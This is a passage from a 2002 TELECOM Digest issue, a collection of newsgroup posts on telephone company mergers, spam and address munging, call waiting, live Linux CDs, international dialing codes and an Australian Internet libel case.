perpetuates its worthless and meaningless >> ""national brand name"". > Wasn't Candlestick Park renamed 3Com Park? How is that any better? I wonder how long Jacobs Field will keep its name. (That's Cleveland's baseball stadium.) When Mr. Jacobs is long gone and they need new money for repairs or remodeling, they will probably give it a new name the same way they did that college downtown whose name I can't remember since they stopped calling it Dyke College. > Steve Sobol, CTO JustThe.net LLC, Mentor On The Lake, OH > http://JustTheNetLLC.com/ 888.480.4NET (4638) > A practicing member of the Geek Orthodox religion! Have mercy, O Geeks! Have mercy on us non-hexadecimalites! Gail in NE Ohio USA ------------------------------ From: Michael A. Chance Subject: Re: The Farce of National Branding Organization: Prodigy Internet http://www.prodigy.com Date: Sat, 14 Dec 2002 13:50:57 GMT In article , John Higdon says: > The network was built by the old AT&T, and then modernized by a > California company, Pacific Telesis. Except that ""California company"" was created out of whole cloth by a federal judge as part of the break-up of AT&T. > SBC simply handed over cash for a going business. It may have been a ""going business"" at the time, but several Wall Street analysts had Pacific Telesis as being about 18 months away from bankruptcy at the time of the merger with SBC. It still had a very bloated management structure, with the corporate culture to match (remember, this was the company that spawned ""Dilbert""), and they were getting fined by the CPUC for missing performance targets on a regular basis. No matter what else you say about SBC, they turned all those things around, and, in the process, hired several hundred additional people in the repair centers and customer service centers. > It built nothing. So the extensive DSL capability simply appeared out of thin air? Michael Chance In article , Steven J. Sobol says... > SBC took the original companies and turned them into crap, and > everyone knows it was SBC that did it. I don't know about Pacbell, > but Ameritech was fair-to-middling in the Customer Service > department before ""We don't give a rat's ass about anyone"" SBC moved > in. I think that you'd get a different story from the state PUCs in Wisconsin, Michigan, Indiana, Ohio, and especially Illinois. Prior to the merger with SBC, they were all rating Ameritech's service as ""fair to poor"", with millions of dollars in fines being assessed each month. Customer service still isn't perfect, but, under SBC's management, they're a lot closer to meeting those performance targets each month. It's recently come out that Ameritech was in a lot worse shape than Notabaert and company let on during the ""due diligence"" portion of the merger process, and that SBC has had to spend huge amounts to straighten out that part of the company in the last couple of years. Michael Chance ------------------------------ From: Phil Earnhardt Subject: Re: Anti-Spam Countermeasures Date: Fri, 13 Dec 2002 23:59:17 -0700 Organization: http://extra.newsguy.com On Thu, 12 Dec 2002 18:27:22 -0500, Monty Solomon wrote: > Hate the sender all you want, the sad fact is that you may very well > be the person ultimately responsible for the spam you receive by > giving your address out to various Web sites, posting it to newsgroups > or mailing lists, or otherwise exposing it in places where anyone can > find it. What utter nonsense. AFAICT, the greatest feature of the Internet is the ability to create virtual communities. A critical means of creating those communities is the ability to communicate via e-mail. Any sort of obfuscation fo e-mail addresses is an impediment to the free communication on the Internet. And this leads to one of the great ironies: spammers, who often claim that they have the right to Free Speech on the Internet, have performed possibly-irreparable damage to true free speech and discussion over e-mail on the Internet. > http://www.forbes.com/2002/12/12/cx_ah_1212tentech.html I'm saddened by these pieces in reputable magazines that launch up disinformation to the public. Recently, the Wall Street Journal had a front-page article claiming that spamming for some items was OK while spamming for others isn't. Apparently, the writer never ever heard of The Ebert Pledge ( which you can see at http://www.panix.com/~tbetz/boulder.shtml ). It also mis-labeled opt-in e-mails as spam. All in all, the article muddled clearly-understood definitions and concepts. And this was from a newspaper that typically has thoroughly-researched and well-written articles on a vast variety of business topics. The battle for spam is being fought in the media right now. phil ------------------------------ From: Paul Wallich Subject: Re: Anti-Spam Countermeasures Date: Fri, 13 Dec 2002 15:08:43 -0500 Organization: PANIX Public Access Internet and UNIX, NYC In article , Monty Solomon wrote: > Anti-Spam Countermeasures > Arik Hesseldahl, 12.12.02, 10:00 AM ET > NEW YORK - The next time you check your e-mail and want to curse the > lowlife responsible for all that unwanted commercial e-mail -- aka > spam -- you might start cursing into a mirror. > Hate the sender all you want, the sad fact is that you may very well > be the person ultimately responsible for the spam you receive by > giving your address out to various Web sites, posting it to newsgroups > or mailing lists, or otherwise exposing it in places where anyone can > find it. This kind of crap kicks my blood pressure right up. How about ""The next time a crazed sniper takes a shot at you, if you survive, you might want to consider that you were ultimately responsible for your brush with death: you were the one who stopped at a service station for fill your gas tank, drove to the mall, went to school or otherwise gave the gunner a chance to get you in his sights."" The response to attacks on people and property should be to do something about miscreants, not to tell all the law-abiding people to lock themselves up out of harm's way. [snip] > But a Web service called Spamex gives you a new weapon: A disposable > e-mail address. The minute spammers get their grubby little paws on it, > you can turn it off so that the next time they try to spam you, the > message bounces back as though your address was never there. > ttp://www.forbes.com/2002/12/12/cx_ah_1212tentech.html This is a really a perfect example of the market at work -- the same class of people who take no decisive action against spammers, and may even feed them information, can now sell you tools to ""protect"" yourself. paul ------------------------------ From: John Higdon Subject: Re: Anti-Spam Countermeasures Organization: Green Hills and Cows Date: Fri, 13 Dec 2002 13:24:23 -0800 In article , Barry Margolin wrote: > I've been online for over twenty years, and post prolifically to > Usenet, and as a result I'm on just about every spammer's list > multiple times (I've had lots of addresses over the years, and many of > them forward to my current address). I get over 100 spams a day. But > I still refuse to munge my address. This appears to be regulation fare for those who have been on the net for any period of time. I've probably got two dozen or so addresses that all point to my one emailbox. If it were not for the fact that I use very aggressive spam filtering, I would have at least 100 spams a day, and have had that many and more per day in the past. > And what about people who want to reply to my Usenet postings? How do > they learn this ""secret""? That's why I refuse to use a fake address. > What's the point of having return addresses in Usenet headers if > everyone's just going to put useless addresses there. Some of my most lucrative projects have come from folks who saw a posting and sent email as a result. I would never munge my email address, although I do use one that is not attractive to address harvesters. The only side effect that has occurred relates to occasional accusations from folks who declare that my email address is invalid without ever trying it. John Higdon | Email Address Valid | SF: +1 415 428-COWS +1 408 264 4115 | Anytown, USA | FAX: +1 408 264 4407 ------------------------------ Date: Fri, 13 Dec 2002 14:10:47 -0800 (PST) From: Chris Kantarjiev Subject: Re: Anti-Spam Countermeasures > It's pretty common these days to use a decoy account. Use one > account on a free service like Microsoft's (nasdaq: MSFT - news - > people ) Hotmail or Yahoo! (nasdaq: YHOO - news - people ) to give > out to Web sites and mailing lists, while keeping your ""real"" e-mail > account -- that is, the one you want your friends and family to > actually use -- a secret given only to trusted people. What nonsense. This is analogous to saying I should rent a post office box in a neighboring town so I don't get junk mail at home, and when my PO box gets full, I should rent another one. Or, that I should move when the junk mail load to my house gets too heavy. Bah. chris ------------------------------ From: Mark Crispin Subject: Re: Anti-Spam Countermeasures Date: Fri, 13 Dec 2002 15:06:27 -0800 Organization: Networks and Distributed Computing On Fri, 13 Dec 2002, Barry Margolin wrote: > So now we blame the victims? Why not. It's the standard cop-out used to justify inaction. ""It's her fault that she got raped because she was dressed that way."" > I've been online for over twenty years, and post prolifically to > Usenet, and as a result I'm on just about every spammer's list > multiple times (I've had lots of addresses over the years, and many of > them forward to my current address). I get over 100 spams a day. But > I still refuse to munge my address. All you need to do to get on spammers' lists is to publish an RFC. I regularly got spams addressed to email addresses on systems which haven't existed for well over a decade, but which were on old RFCs. Stanford was very kind to have MX records and forwardings for these old addresses, but I ended up asking them to delete them. > And what about people who want to reply to my Usenet postings? How do > they learn this ""secret""? That's why I refuse to use a fake address. > What's the point of having return addresses in Usenet headers if > everyone's just going to put useless addresses there. Exactly right. And if you publish RFCs, your email is going to become public knowledge anyway. Then there's the spammers who run dictionary attacks on a server. My ISP gave me a free email account on their server, even though I run my own email server. Within a couple of hours of it being opened, the first spams had arrived. However, there is something to the argument that we are in some way responsible. In the old days, we very much resented the governing authority held over us by first ARPA, then DCA, and finally NSFnet. We said that what we wanted was anarchy. We were severely punished for this impudence by being given the very thing that we demanded. Anarchy does not result in the peaceful, primitive communism of fantasy. Anarchy results in warlords, walled cities, and frequently-plundered villages. The situation will continue to deteriorate until we are granted an effective governing authority with enforcement power. When that wonderful day finally comes, we will once again resent the stupid laws that the governing authority will inevitably hold over us. And, at least for a while, we will resent it with pleasure and joy, for we will no longer need to deal with walls, or fear being plundered by warlords. -- Mark -- http://staff.washington.edu/mrc Science does not emerge from voting, party politics, or public debate. ------------------------------ From: Brian Cox Subject: Re: Adding Voicemail to Norstar+ Compact ICS Date: Fri, 13 Dec 2002 16:36:39 -0500 Organization: MindSpring Enterprises The NVM 4.0 is a separate unit from the phone system. As you have a CICS I would recommend a Startalk Flash instead as it is less costly. Its capacity is 48 mailboxes and 4 ports when fully expanded which should be more than enough in your case. Brian Cox J & J Communications 770-795-5462 or 888-552-6665 http://www.jandjcommunications.com Please check our web site for Avaya & Norstar quick reference guides. BHAX wrote in message news:telecom22.182.9@telecom-digest.org: > I have a norstar+ compact ICS that I want to add voicemail too. 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See the bottom of this issue for subscription and archive details and the name of our lawyer; other stuff of interest. ---------------------------------------------------------------------- From: PaulCoxwell@aol.com Date: Fri, 13 Dec 2002 07:22:39 EST Subject: Re: Call Waiting Prison and Telemarketers >> What is it about Call Waiting that seems to trap people into interrupting >> EVERY CALL to deal with that other person??!!!! >> If a call, even a local call is so important to you and you don't want >> to interrupt it, then DON'T answer the other call if you have Call >> Waiting! > I can solve this problem with two words: ""Busy signal"" > Any time Call Waiting kicks in on any call, it's obnoxious. Why > should I pay extra to be annoyed? So I don't. If I'm on the phone > when you call, you'll get a busy signal. An old-school, deprecated, > luddite busy signal. I heartily agree with Gordon. I can see the advantages of call waiting in some situations, maybe teenagers on the phone for two hours at a time or something like that, but in general I don't like the system. Do you take a second incoming call or not? If you ignore the new caller, chances are that when he gets around to calling back you'll get an offended-sounding ""Why didn't you answer my call? Didn't you hear the call-waiting beeps?"" Take the second call and you risk offending the first person. Even if you intend to just tell the new caller that you'll return his call when you're done, it's easy to end up taking longer than you plan and have the original call held for a while. And if you only ever intend to answer the second call with a ""I'll call back when I'm free,"" what's the point? Let the second call get a busy signal and he'll try again in a few minutes anyway. A busy signal gets my vote every time. Paul Coxwell, Norfolk, U.K. ------------------------------ From: Linc Madison Subject: Re: Call Waiting Prison and Telemarketers Date: Fri, 13 Dec 2002 19:01:40 -0800 Organization: LincMad.com Consulting Reply-To: Telecom@LincMad.com In article , Gordon S. Hlavenka wrote: > I can solve this problem with two words: ""Busy signal"" > Any time Call Waiting kicks in on any call, it's obnoxious. Why > should I pay extra to be annoyed? So I don't. If I'm on the phone > when you call, you'll get a busy signal. An old-school, deprecated, > luddite busy signal. > If you need to take emergency calls, get a pager or voicemail. Call > waiting is a pox on society. Pagers and voicemail are poxes on society. Call Waiting is a godsend. I was visiting my parents for Thanksgiving, and my mother was telling the story of how she came to have Call Waiting. It was about 1975. My brother and I were both in junior high. Our house was quite near the elementary school and the high school, but some distance from the junior high school. We had gone to some after-school activity, with instructions to call home for a ride when we were done. Mom was on the phone, though, chatting away with a friend, oblivious to the passing time. My brother and I called and got a busy signal. We waited a few minutes and tried again. We kept trying for the better part of an hour. We finally gave up and walked home. Mom was flabbergasted when we walked in the door, and she only then realized that her conversation (which was still going) had blocked her from receiving an important call. Without Call Waiting, she had no way to know that we were trying to reach her. Voicemail would have been useless in that situation, even if it had been available, because she wouldn't've known that she had a message until after she hung up -- and in most cases not until she picked up the phone again later and heard the stutter dialtone. Suggesting that my mother carry a pager is not viable. As my mother said, about the most isolated you can be in modern society is to be on the phone without Call Waiting. Of course, I'm very happy to have Cancel Call Waiting, especially now that my switch allows me to do it in the middle of a call. Where my parents now live, they can't get CCW, because they are victims (""customers"") of the Great Telephone Experiment, d.b.a. Verizon. On my switch, I can dial *70 (or 1170) on an outgoing call. I can also flash in the middle of a call (as long as there isn't a call waiting) and dial *70, returning me to my conversation as soon as I get the confirmation tone. All is as it should be, except for the pesky little detail that I have to wait until the confirmation tone is done before I dial any further digits. If I dial *70-555-0123 instead of *70W-555-0123, my call may fail. www dot LincMad dot com / Telecom at LincMad dot com Linc Madison * San Francisco, California [TELECOM Digest Editor's Note: I agree completely with Linc. Our call waiting tone here is *only* heard by the person who has it on the line (the other party gets a very short loss in voice *if* the other end is speaking; nothing if he himself is doing the speaking) and ours works just like Linc suggests: *70 before beginning a call you originate, or flashhook *70 during a call you receive if you wish to do it. It is indeed a godsend, and used liberally in a proper way, there is no reason to be offensive to anyone. Of course, if you use it too often, telco may wonder why you bothered to buy the feature at all. PAT] ------------------------------ From: John Higdon Subject: Re: Listing in Areacode-Info.com and TELECOM Digest Organization: Green Hills and Cows Date: Fri, 13 Dec 2002 08:04:02 -0800 In article , gerg@panix.com (Greg Andrews) wrote: > John Higdon writes: >> Excuse me. 408/264 (historical ANdrews 4) is THE flagship exchange of >> the Pacific Telephone ... er ... Pacific Bell ... uh ... SBC SJ12 >> central office. it dates back to the mid-fifties. If that web site >> cannot give any information for that area code/prefix combo, it isn't >> worth much. > Wasn't it 415/264 before 1959? Yes, it was. Which means that the ANdrews 4 exchange has existed from the creation of the 408 area code, in which it remains even today. By the way, allow me to correct a minor error: the central office is SJ14, not SJ12. I'm always confusing the ANdrews office with the ALpine office! John Higdon | Email Address Valid | SF: +1 415 428-COWS +1 408 264 4115 | Anytown, USA | FAX: +1 408 264 4407 ------------------------------ Date: Wed, 11 Dec 2002 09:28:07 CST From: Name Withheld on Request Subject: Re: Being Online Without a Hard Drive Hi Pat, If you chose to post this on the 'net _PLEASE_ delete my real email adddress first. I've had the same email adx for over two years and _no_ spam. I like it that way. I sympathize with your situation, but you have to have your name out there and there is no alternative. Please don't post my email adx on the net. I saw your message ( below ) and felt I needed to comment. I am doing the same thing here, but I use a different CD distribution. I'm using something called the Sentry Firewall CD-ROM (www.SentryFirewall.com) which is amaziningly freely available on the 'net. This is a complete Linux OS on a CD, and when it boots it completely bypasses whatever is on the hard drive. They anticipated your problem with configuration. The CD naturally has none of your personal email names, passwords, dialup numbers or any of the other stuff you need to connect. Instead, they use a floppy disk which is read in after the Linux OS boots. This provides all you need to get connected. However, I found this tedious on a laptop. I too have a USB ""disk drive"" device. Mine is called a ""DiskOnKey"", but it works the same. In fact there are several different brands of similar devices available now. I wanted to use mine as a substitute for the floppy drive, but there is a problem. Your ( and my ) PC BIOS doesn't know how to deal with a USB disk drive. It can deal with USB keyboards, and USB mice, but not USB disks. Thus, _you cannot boot from a USB disk_. Period. Can't be done unless you know how to rewrite a BIOS, burn a chip and install it in your computer. Thus, your stradegy of moving everything to the Fuji device (FujiDisk?) won't work. You need to boot the CD to get going, and then read the setup information from the FujiDisk. As implied from your message, the KNOPPIX CD doesn't know how to do this. As it happens, neither did the Sentry CD. But, since Sentry is a Linux OS, open system, and they encourage users to adapt and adopt their system to your requirements, modifing the Sentry disk was possible. Not easy, but possible. What I had to do was to recompile the Linux kernel on the Sentry disk to ""find"" the USB disk _after_ it booted, and then tell the application what to do with the info found there. Fortunately, Linux allows you to define the boot process and insert your own configuration as you wish. The result is a bootable CD with a complete Linux system, and a USB disk with all my personal ID (email name, ISP, passwords, dialups etc.) on the USB disk. Since the CD has no personal information on it, I can leave it in the machine. As long as I take the USB disk with me, no one can get my personal ID. And, since I formatted the USB disk with a Linux filesystem, you can't even read it on a Windows machine. I also modified the boot process to give the user a choice of which OS to boot. (Linux is clever). So, even with the Linux CD in the machine, I can tell it to ignore the CD and boot the normal Windows from the hard drive. Thus, leaving the CD in the machine is totally transparent. I don't know if the KNOPPIX CD can be arranged this way. If not, I suggest that you take a look at the Sentry CD. It at least already has the floppy disk configuration system, and if you find this works for you, I can give you further guidance if you want to use the USB disk instead. Pat, you're doing a great job. Keep up the good work. > Let's say your hard drive has crashed, or somehow gotten wiped out, > formatted mysteriously or whatever. Does that mean you cannot get on > line or do other work with computer until you get the problem fixed? > No, not any more ... :) I received a gift from my California friend > which cures that sort of problem. It is called *KNOPPIX* which is an > entire *nix-based operating system on a CD. Seriously ... what you > have to do is change your BIOS around a little as needed. Make sure it > is set to boot *first* from the CD, *then* from the hard drive. I > think most people have it that way anyway. But if you don't you may > want to make that adjustment. Then your hard drive could be in pieces > on your work bench for example, and you WILL be able to get on the > net. > Or, when you grow weary of using Windows (I cannot imagine why anyone > would dislike such a fine product) -- snicker! -- what you do is pop > your knoppix CD in the drive, let it boot up, and presto, an almost > entire x-windows/linux thing. The best part seems to be if your hard > drive is *not* demolished, but actually there and working; you will > notice how part of the boot up process of the knoppix CD is to mount > your existing file storage areas (like the hard drive for example) and > you can use many of your 'regular' files as though they were *nix in > their nature. > One disadvantage is you have to have sufficient swap space on your > computer to make it work correctly. Without sufficent space on the > computer, things do get cluttered and it tends to run a little slower > than I would like. You do get a lot or most of the x-windows features > however. When you boot this knoppix CD, the first thing it does is > goes through your computer and takes an 'inventory' of everything > on your system; where to find the sound card for example, where to > find your modem or DSL or cable connection, etc, then it configures > itself accordingly. > Another drawback is that nothing remains static. Whatever configur- > ations you first give it on logging in to start using it have to be > done every time you log in using it. I am trying to figure out a way > to load it all from the CD onto my drive F so I can keep the > configurations I want on a permanent basis. > 'Drive F' = a Fujifilm USB drive about the size of my finger which has > a male USB connector on the end, and plugs into a USB socket. Mine has > a 'mere' 64 MB of storage space, and the power on the line is enough > to power it and keep it going. They come in sizes from 16 MB up to 512 MB > all about the size of your finger, they weigh about an ounce and can > be clipped in your shirt pocket and carried around from one computer > to another. When I first received mine and plugged it into the USB hub > (hub looks like an extension cord; one end plugs in the socket on the > back of the computer, the other end terminates in a multiple number of > USB female sockets; you plug your various USB devices in there). Anyway, > when I got it, I immediatly plugged it into the hub, the Windows XP > machine gave its little beep and flashed a message on the screen > saying ""external storage device 'for pat' is ready to use."" 'for pat' > is the name that my friend gave it when he plugged it in his Apple Mac > to test it out. When I go to 'my computer' here, I see a similar file > folder, which I have since renamed 'USB Storage'. Click on that file, > and there you are, ready to store/delete, whatever. > Anyway, what I am trying to do is 'copy E to F' (that is to say > move the contents of the CD over to the Fujifilm (fits in your shirt > pocket storage device). You can copy it over there with room to spare, > but the catch is you have to be already booted up (in Windows for > example) to get in there and use it. And that sort of maneuver not > only defeats the purpose of the Knoppix CD, it also confuses the hell > out of the computer, having Windows trying to run Knoppix. If you try > to load the computer from drive F by telling the BIOS to look in there > (F) and load if possible, it won't do that either. So if I can figure > out how to keep a few configs stored there which I can autoload > somehow from F after I have loaded the Knoppix CD that will save some > time and allow me to use it instead of Windows, period. My brain > desease however is not allowing me to get that far up in my thinking. > The nice thing about the Fujifilm storage device however is I can > unplug it from the XP hub and carry it over to my 98 laptop and > load it with programs which I then cart back over to the XP and > use. Ditto, my old Windows 95 which has a convenient USB port on > the back side of it. The 98 requires a 'driver' to be installed to > use it, but supposedly the Windows 95 does not. > Anyway, do take a look at Knoppix. You can find it using Google > search I understand, or get someone to burn a copy of it for you if > you do not have a way to download it and burn it yourself. Knoppix > is a great Christ Mass gift from my friend, and so was the Fujifilm > 64 MB 'pen' which I can carry in my pocket. ------------------------------ From: dejausenet@yahoo.com (Tom Williams) Subject: Soho PBX With Unified Messaging Including Different vm Boxes Date: 13 Dec 2002 12:04:48 -0800 Organization: http://groups.google.com/ Would like to have a small pbx for my home based businesses (want to have multiple businesses with separate vm boxes, each possessing unified messaging capabilities (fax on demand, paging, etc) would like to run off one toll free incoming line. Appreciate suggestions, whether best to run off home PC (with occassional brief power outages) or offsite by 3rd party. If 3rd party, appreciate suggestions of reliable firms that are affordable for a small business. Please cc email any postings here. Tom [TELECOM Digest Editor's Note: Oooh, how I wish I still had my Melco PBX which I used for a few years in Chicago. It was ideal for a small business application. Two incoming/outgoing ports by dialing 9, up to 12 extensions (numbered 21 through 32) with incoming calls defaulting to extension 21 (which also served as '0'), 'call forwarding' between extensions (and extension 21 [which was also '0'] for incoming calls could be forwarded as well to answering machines, etc), a 'do not disturb' mode on each extension, other features, including call waiting and a paging mode by dialing (I think) '4'. I was told several years ago that Melco went out of the telephone PBX business. :( Does anyone make little devices like that anymore that you simply hook into your incoming line(s) and configure in a 'star' format around your house? PAT] ------------------------------ From: coconut1@flex.com (Rudy) Subject: Best Kid Safe Software Filter? Date: 13 Dec 2002 13:59:51 -0800 Organization: http://groups.google.com/ A while back I checked out many of the kid safe (kidsafe and kid-safe) internet filtering software for Internet Explorer. Some are very large and complex, and costly. And after the Trial install/uninstall, most leave remnants of themselves hanging around my system. What's the latest, best (ie., cleanest, simplest [kiss], reasonably priced) out there these days? Thanks in advance! ...Concerned Parent [TELECOM Digest Editor's Note: No matter how well-intentioned any sort of kid-safe filtering program is, it invariably makes mistakes in its choices of what to eliminate. Nothing, IMO (look, no 'H' in there; that's because I do not give humble opinions) takes the place of a good parent who keeps his/her eyes constantly on what a child is doing with a computer in the kid's private space, like a bedroom. With your child, the best place for the computer is in a family room or other area where parents come and go all the time and are prone to asking questions about what the child is doing; who is that he is chatting with, etc. A computer should be a family investment, not a child's curiosity toy ... if a child is afraid that something he sees or reads on the computer is likely to bring mom or dad into the area and slap him silly, he won't be as likely to see or read that material. And education for children is very important also. Let them know a few things, as age appropriate, about your own values, and how you wish to teach those values to the children. Let them know that just as in real life, walking down the street for example, they are going to see and read things on the net which are not part of your values or life style. For example, no matter how hard you try, your children are going to eventually have a school assignment to learn about USA gover- ment and the White House. They are NOT going to learn about the White House by reviewing http://whitehouse.com for example. That's where a parent has to explain something about personal values. You might want to look at http://internet-history.org and click on the pages dealing with challenges to read about this topic more. Buy any kind of kid-safe software you like and can afford. Also look at the possibility of an email account for the child in the newly planned .kids domain or the .kids.us domain which is already around. But whichever way you go, be prepared for the challenge of a lifetime in bringing the child up in this new era we now live in. PAT] ------------------------------ Date: Fri, 13 Dec 2002 22:17:31 GMT From: Richard D G Cox Subject: Re: 011+ From NANP vs. 00+ From Most of World Reply-To: nospam@numbering.com Organization: Mandarin Technology Limited On Fri, 13 Dec 2002 12:22 PaulCoxwell@aol.com wrote: > Re the policy that when places outgrow 6-digit numbering plans > they'll go straight to 8 digits with 02x or 03x codes, when did > this policy come into effect exactly? In terms of implementation, 22nd April 2000. > If this was to be the policy for future expansion, then why were > Reading, Bristol, Nottingham, et al moved to 7-digit numbering > with 011n codes instead of going straight to 8-digit local numbers? Because they were implemented under the old, now discredited, policy. > Maybe, but another practical reason is that when Ireland > introduced toll-free numbers they were already using 080 > as a kludge for dialing into Northern Ireland. While they appeared to be using 080 for that purpose, they were only using those parts of the number space that corresponded to the code as dialled from within the UK. And as the prefix ""00"" was not used in the UK for inland calls (it was the prefix for international calls from 16 April 1995) then similarly the prefix 0800 was never required for dialling into Northern Ireland from the Republic of Ireland! The technique of treating level ""0"" in a different manner is fairly common: for example, within New Zealand ""09"" is the code for Auckland, but no Auckland numbers begin with a ""0"": so this does not conflict with their concurrent use of 0900 for premium-rate/audiotex services. > Now that 048 is used for that purpose, I wonder whether they will > re-organize to the ""common"" standard? That would involve a major > upheaval to Irish codes. Everything else in the RoI is ""standard"" (well, unless you believe 011 to be standard - but that was where we came in!): a while back they introduced ""00"" for International (it used to be ""16"") and ""0"" has always been the prefix for their geographic/mobile codes. What some would consider NON-standard in the RoI are the access codes for non-geographic (shared cost and premium rate) services: for which, like Freefone, suitable 1xxx codes have been assigned. I would be surprised if the Irish regulator ComReg decided to change the existing arrangements, which were very clearly chosen to avoid any conflict or confusion with numbers in the UK's scheme which are advertised on Press, Radio and TV with overlapping footprints. Since ""080"" is no longer used to call Northen Ireland, ComReg has designated that access code for Fixed Line Mailbox Services, in which each individual customer subscriber number has a directly associated mailbox number: this means that to reach such a mailbox a caller from within the Republic would dial ""08"" before the customer's number, and a caller from outside would dial +353 80 and the customers' number. Richard D G Cox Penarth, UK ------------------------------ From: Linc Madison Subject: Re: 011+ From NANP vs. 00+ From Most of World Date: Fri, 13 Dec 2002 17:29:41 -0800 Organization: MindSpring Enterprises In article , Mark J Cuccia wrote: > John Levine wrote: >> [In North America, when away from home, dial international calls >> using 1-800-xxx-xxxx and a calling card, rather than 011+ or 01+] > EXACTLY !!! > This is something that many of the replies ""conveniently"" have > ignored, or ""downplayed"". > Why should ANYONE who doesn't actually *LIVE* here in the NANP (for > any period of time) even *CARE* what our (sent-paid toll) IDDD or > intra-NANP access digits/prefixes even *ARE*!? A little devil's advocacy here: The vast majority of all international calls I have placed while travelling outside the NANP (whether calling back to the U.S. or calling a third country), I have placed as sent-paid calls from payphones, dialing direct. Most countries have far more reasonable coin sent-paid rates for international calls than the rates prevalent in the U.S. I quite enjoyed being able to make a transatlantic call for less than a dime [USD$0.10], even if the call was limited to a few seconds. It was still enough time to say, ""Hi, Mom, I'm fine. Bye."" Also, if UIFN ever really takes off, then we might see many more visitors to the NANP wanting to dial +800, even from payphones. However, I have never had any difficulty finding out or remembering the appropriate code to dial, whether it was 00, 010, 0011, or whatever. Indeed, as to the difficulty of finding such information, it's prominently featured in every tourist guide book I've seen in many years. Each book has a little section on practical matters, telling you such things as how to change money, how to find a doctor or pharmacist, how best to mail things home (from postcards to packages), and how to dial the telephone. If you're going to travel in a foreign country, you do have to make *some* effort to learn the particulars, and I see nothing wrong with that. Indeed, that is part of the *point* of going to a foreign country. Personally, I don't travel overseas without a guide book and a phrase book (if English is not the primary language). In particular, if you're a foreign visitor in the U.S., not knowing the IDDD prefix is the *LEAST* of your worries if you want to phone home. Of much greater importance is the matter of how to spot the trustworthy phone cards from the scams. There are plenty of deals like $0.01/minute to anywhere in the world [tiny print: maximum call duration 3 minutes; $9.99 connection fee applies per call; some countries excluded]. Of course, that assumes that the card (or better yet, the card issuer) hasn't already expired before you buy it. ------------------------------ Subject: Re: 011+ From NANP vs. 00+ From Most of World Organization: Excelsior Computer Services From: joel@exc.com (Dr. Joel M. Hoffman) Date: Sat, 14 Dec 2002 16:41:03 GMT >> Funny I can input +cc/area code/number on my mobile and all calls go >> through no matter where they are :) > What company? You really can dial 61 2 xxxx xxxx and reach a number in > Australia, not Minnesota? Do you mean you can actually dial 011 61 2 > xxxx xxxx and get Australia? Then can you dial 011 1 612 xxx xxxx and > get Minnesota? I didn't think so. With T-mobile (GSM service), one actually dials the plus symbol (on most phones by holding down the zero). After the plus comes country code, area code, number. I can dial +1212xxx-yyyy to get to NYC, or +612 xxxx xxxx to get to Australia. To get to Minnesota, I dial +1612 xxx-yyyy. (Or, from within the US, I can dial just 1612xxxyyyy or even just 612xxxyyyy.) > I concede on that point. If the IDDD code isn't shown, somebody might > be left with calling the local operator as the only way to find out. > That wouldn't be a problem between countries sharing a language and > where the number to dial for an operator is either obvious or clearly > posted (e.g. U.S.A. & U.K.), but might be much more of a problem in > other cases. This is clearly an instance where it pays to make > inquiries *before* leaving home, although one can never cater for > everything, of course. But once again, the US is a problem, because it's VERY hard to get an actual operator. And even if you do get an operator, it might be the WRONG operator. Dial 0? Dial 00? Dial 00, then listen to the prompt, then dial 0 again?? Yes. That's what you do to get an operator here. -Joel ------------------------------ From: Linc Madison Subject: Re: Court Rules Internet Case Can be Heard in Australia Date: Fri, 13 Dec 2002 18:33:22 -0800 Organization: LincMad.com Consulting Reply-To: Telecom@LincMad.com The problem isn't so much a libel case in Australia, as a libel case in a country where, for instance, truth is no defense against libel. In the entire civilized world (including both the US and Australia), we take that protection for granted, but there are many countries where it isn't so, especially if the defamation is against a government official or agency. Turkey's entrance into the EU is currently stalled because of (among many issues) legal provisions that allow criminal prosecution for criticizing the government, even if the criticism is accurate, and that's one of the milder examples. (It is also a crime in Turkey to advocate the peaceful political separation of the Kurdish region from the rest of the country, or even to broadcast in the Kurdish language, irrespective of what you say. It's going to be a very LONG time before Turkey joins the EU, Dubya's ham-handed pressure notwithstanding.) In any case, the Australian court made an egregious error in this case. It is entirely unreasonable to hold that merely because someone viewed a web page in a particular jurisdiction, that such viewing constitutes ""publication"" in any sense of the word. The pre-Internet analogy would be to try someone for defamation in Australia because a magazine published in New Jersey was carried by a passenger on an airplane to Australia, where someone read it and took umbrage. Even if you take the analogy of a person in Australia ordering a magazine from New Jersey, that still doesn't make the magazine ""published"" in Australia. Publication in a particular jurisdiction *MUST* be held to be an intentional act in that jurisdiction. In no way did Dow Jones ""publish"" in Australia. At most, they delivered goods and/or services, published in New Jersey, to an address which they may not even have had any way of knowing was in Australia. Dow Jones doubtless has some sort of physical presence in Australia, and probably even in Victoria. However, smaller Internet publishers should be concerned about the possibility of having some other jurisdiction apply its laws to you. A cornerstone of the judicial system is the notion that a case must be tried either in the place where the alleged wrong occurred, or in the defendant's jurisdiction. If it is held that the act of having someone view your web page constitutes publication in the jurisdiction of viewing, then any random person could compel you to travel halfway across the planet to defend yourself against a lawsuit. That's frightening even if it's Australia, but much moreso with a number of other countries. www dot LincMad dot com / Telecom at LincMad dot com Linc Madison * San Francisco, California ------------------------------ From: Linc Madison Subject: Re: Determining Cell Phone System Coverage Date: Fri, 13 Dec 2002 18:40:06 -0800 Organization: LincMad.com Consulting Reply-To: Telecom@LincMad.com [[ This message was both posted and mailed: see the ""To,"" ""Cc,"" and ""Newsgroups"" headers for details. ]] In article , Rick Wessman wrote: > We live near Rochester, NY and currently use Sprint PCS. The coverage > is spotty, especially in more rural areas. We would like to switch to > another service, but would like to make sure (at least as much as > possible) that the coverage will be better. > Is there some resource that lists the towers used by the various > services? I'm hoping that that will help to tell us how good a > service's coverage is. No, nor will there ever be such a resource. The cellular companies guard that data as proprietary -- after all, if you knew where the holes were, you might switch to another carrier! (umm, yeah) There are some web sites that compile user reports of dead zones, though, and the cellular companies can't do anything to stop that. Try a search on Google for ""cellular dead zones"". www dot LincMad dot com / Telecom at LincMad dot com Linc Madison * San Francisco, California ------------------------------ From: sjsobol@JustThe.net (Steven J. Sobol) Subject: Re: MCI Once Again Ripping Off Customers Date: Fri, 13 Dec 2002 23:04:58 -0000 Organization: JustThe.net LLC > From 'Michelle Spangler' : > I have written to MCI twice to their headquarters in Iowa and received > a lovely postcard saying ""Sorry but we can't help you"". Surprise!! (a) Worldcom's headquarters are in Mississippi; (b) File a complaint with your state Public Utilities or Public Service commission. Steve Sobol, CTO JustThe.net LLC, Mentor On The Lake, OH http://JustTheNetLLC.com/ 888.480.4NET (4638) A practicing member of the Geek Orthodox religion! ------------------------------ From: Linc Madison Subject: Re: George Gilder: Why I Trust Date: Fri, 13 Dec 2002 